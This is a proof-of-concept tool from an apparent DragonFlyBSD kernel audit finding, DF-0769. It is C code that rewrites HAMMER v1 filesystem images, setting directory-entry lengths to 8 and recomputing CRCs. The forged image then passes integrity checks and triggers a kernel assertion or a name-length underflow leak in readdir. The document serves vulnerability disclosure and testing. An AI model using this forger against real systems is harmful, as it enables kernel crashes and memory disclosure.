DragonFlyBSD Kernel Audit
DF-0769 / craft_img.c
← back to finding ↓ download raw
/*
 * craft_img.c - HAMMER v1 image forger for DF-0769.
 *
 * Locates every B-tree leaf element of type HAMMER_RECTYPE_DIRENTRY in a
 * HAMMER v1 image, sets leaf->data_len = 8 (< HAMMER_ENTRY_NAME_OFF = 16),
 * recomputes leaf->data_crc = iscsi_crc32(direntry_data[0:8]) and the
 * containing B-tree node's crc, so that:
 *   - hammer_crc_test_leaf() passes (CRC computed over the forged 8 bytes),
 *   - hammer_crc_test_btree() passes (node CRC recomputed),
 *   - hammer_vop_readdir() reaches :1728
 *       KKASSERT(cursor.leaf->data_len > HAMMER_ENTRY_NAME_OFF)   [GENERIC]
 *     and :1737  d_namlen = (uint16_t)(data_len - 16) = (uint16_t)(-8) = 65528
 *                                                              [production leak].
 *
 * Struct offsets are hardcoded from sys/vfs/hammer/hammer_disk.h and
 * hammer_btree.h (verified against the audit tree). CRC32C is the kernel's
 * own sys/libkern/icrc32.c (compiled for userspace via #ifndef _KERNEL).
 *
 * Build:  cc -O2 -o craft_img craft_img.c icrc32.c
 *   (icrc32.c copied verbatim from sys/libkern/icrc32.c)
 * Usage:  ./craft_img <image.img>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>

/* ---- userspace CRC (the kernel's own iscsi_crc32, from icrc32.c) ---- */
extern uint32_t iscsi_crc32(const void *buf, size_t size);

/* ---- HAMMER on-disk constants (hammer_disk.h / hammer_btree.h) ---- */
#define HAMMER_FSBUF_VOLUME   0xC8414D4DC5523031ULL
#define HAMMER_BUFSIZE        16384
#define HAMMER_BTREE_TYPE_LEAF    ((uint8_t)'L')
#define HAMMER_BTREE_TYPE_RECORD  ((uint8_t)'R')
#define HAMMER_RECTYPE_DIRENTRY   0x0011

/* volume_ondisk field offsets (struct hammer_volume_ondisk) */
#define VOFF_signature   0
#define VOFF_vol_buf_beg 24
#define VOFF_vol_version 152

/* B-tree node (struct hammer_node_ondisk), 4096 bytes */
#define NODE_SIZE        4096
#define NOFF_crc         0     /* hammer_crc_t crc -- MUST BE FIRST */
#define NOFF_count       16    /* int32_t count */
#define NOFF_type        20    /* uint8_t type */
#define NOFF_elms        64    /* union hammer_btree_elm elms[63] */
#define HAMMER_BTREE_CRCSIZE (NODE_SIZE - 4)   /* crc covers [4:4096) */

/* leaf elm (struct hammer_btree_leaf_elm), 64 bytes */
#define ELM_SIZE         64
#define EOFF_rec_type    32    /* uint16_t base.rec_type */
#define EOFF_obj_type    34    /* uint8_t  base.obj_type */
#define EOFF_btype       35    /* uint8_t  base.btype */
#define EOFF_data_offset 48    /* hammer_off_t data_offset */
#define EOFF_data_len    56    /* int32_t  data_len */
#define EOFF_data_crc    60    /* hammer_crc_t data_crc */

#define HAMMER_OFF_SHORT_MASK 0x000FFFFFFFFFFFFFULL
#define HAMMER_ENTRY_NAME_OFF 16   /* offsetof(hammer_direntry_data, name[0]) */

/* little-endian helpers (DragonFly x86_64 guest is LE) */
static uint16_t rd16(const uint8_t *p){ return (uint16_t)(p[0] | (p[1]<<8)); }
static uint32_t rd32(const uint8_t *p){ return (uint32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24)); }
static uint64_t rd64(const uint8_t *p){
    return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) |
           ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) |
           ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56);
}
static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; }

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "scratch.img";
    int fd = open(path, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /* read volume header at offset 0 */
    uint8_t vhdr[256];
    if (pread(fd, vhdr, sizeof vhdr, 0) != (ssize_t)sizeof vhdr) { perror("pread vhdr"); return 1; }
    uint64_t sig = rd64(vhdr + VOFF_signature);
    if (sig != HAMMER_FSBUF_VOLUME) {
        fprintf(stderr, "not a HAMMER volume (sig=%016" PRIx64 ")\n", sig);
        return 1;
    }
    int64_t vol_buf_beg = (int64_t)rd64(vhdr + VOFF_vol_buf_beg);
    uint32_t vol_version = rd32(vhdr + VOFF_vol_version);
    printf("vol_buf_beg=0x%" PRIx64 " vol_version=%u\n", (int64_t)vol_buf_beg, vol_version);
    if (vol_version < 7) {
        fprintf(stderr, "WARNING: vol_version=%u (<7) uses crc32 not iscsi_crc32; results may differ\n", vol_version);
    }

    /* get image size */
    off_t imgsz = lseek(fd, 0, SEEK_END);
    printf("image size=%lld bytes\n", (long long)imgsz);

    /* scan every 4KB block for B-tree leaf nodes */
    uint8_t node[NODE_SIZE];
    int patched_total = 0;
    off_t off;
    for (off = 0; off + NODE_SIZE <= imgsz; off += NODE_SIZE) {
        if (pread(fd, node, NODE_SIZE, off) != NODE_SIZE) continue;
        if (node[NOFF_type] != HAMMER_BTREE_TYPE_LEAF) continue;
        int32_t count = (int32_t)rd32(node + NOFF_count);
        if (count < 0 || count > 63) continue;

        /* self-check: existing node crc must be valid (confirms real node + our CRC) */
        uint32_t stored_nodecrc = rd32(node + NOFF_crc);
        uint32_t calc_nodecrc = iscsi_crc32(node + 4, HAMMER_BTREE_CRCSIZE);
        int node_crc_ok = (stored_nodecrc == calc_nodecrc);

        int node_dirty = 0;
        for (int i = 0; i < count; i++) {
            uint8_t *elm = node + NOFF_elms + (size_t)i * ELM_SIZE;
            uint16_t rec_type = rd16(elm + EOFF_rec_type);
            uint8_t  btype    = elm[EOFF_btype];
            if (rec_type != HAMMER_RECTYPE_DIRENTRY) continue;
            if (btype != HAMMER_BTREE_TYPE_RECORD) continue;

            uint64_t data_offset = rd64(elm + EOFF_data_offset);
            int32_t  data_len    = (int32_t)rd32(elm + EOFF_data_len);
            uint32_t stored_dcrc = rd32(elm + EOFF_data_crc);

            /* physical offset of the direntry data buffer */
            uint64_t zone2 = data_offset & HAMMER_OFF_SHORT_MASK;
            off_t    phys  = vol_buf_beg + (off_t)zone2;

            /* CRC self-check over ORIGINAL data_len bytes */
            if (data_len > 0 && data_len <= HAMMER_BUFSIZE && phys + data_len <= imgsz) {
                uint8_t dbuf[HAMMER_BUFSIZE];
                pread(fd, dbuf, data_len, phys);
                uint32_t calc_dcrc = iscsi_crc32(dbuf, data_len);
                if (calc_dcrc != stored_dcrc) {
                    fprintf(stderr,
                        "  [warn] @0x%llx elm[%d] data CRC mismatch stored=%08"PRIx32
                        " calc=%08"PRIx32" (len=%d phys=0x%llx) -- CRC impl may be wrong\n",
                        (long long)off, i, stored_dcrc, calc_dcrc, data_len, (long long)phys);
                }
            }

            /* read the direntry name (for human reporting) */
            char nm[64] = {0};
            if (data_len > HAMMER_ENTRY_NAME_OFF && phys + data_len <= imgsz) {
                pread(fd, nm, data_len - HAMMER_ENTRY_NAME_OFF, phys + HAMMER_ENTRY_NAME_OFF);
                nm[sizeof(nm)-1] = 0;
            }

            printf("  @node 0x%llx elm[%d] '%s' data_offset=%016" PRIx64
                   " data_len=%d  -> forging data_len=8\n",
                   (long long)off, i, nm, data_offset, data_len);

            /* FORGE: data_len = 8 */
            wr32(elm + EOFF_data_len, 8);

            /* recompute data_crc over the first 8 bytes of the direntry data */
            uint8_t dbuf8[8];
            if (pread(fd, dbuf8, 8, phys) != 8) {
                fprintf(stderr, "    cannot read 8 bytes at phys=0x%llx\n", (long long)phys);
                continue;
            }
            uint32_t new_dcrc = iscsi_crc32(dbuf8, 8);
            wr32(elm + EOFF_data_crc, new_dcrc);
            printf("    forged data_crc=%08" PRIx32 " (iscsi_crc32 of 8 bytes at phys 0x%llx)\n",
                   new_dcrc, (long long)phys);

            node_dirty = 1;
            patched_total++;
        }
        if (node_dirty) {
            /* recompute node crc over [4:4096) */
            uint32_t new_nodecrc = iscsi_crc32(node + 4, HAMMER_BTREE_CRCSIZE);
            wr32(node + NOFF_crc, new_nodecrc);
            if (pwrite(fd, node, NODE_SIZE, off) != NODE_SIZE) { perror("pwrite node"); }
            printf("  @node 0x%llx rewrote node crc: was %08" PRIx32 "(ok=%d) now %08" PRIx32 "\n",
                   (long long)off, stored_nodecrc, node_crc_ok, new_nodecrc);
        }
    }
    printf("PATCHED %d direntry leaf element(s). data_len now 8 (< HAMMER_ENTRY_NAME_OFF=16).\n",
           patched_total);
    if (patched_total == 0) {
        fprintf(stderr, "ERROR: no direntry leaves found -- nothing patched\n");
        return 2;
    }
    close(fd);
    return 0;
}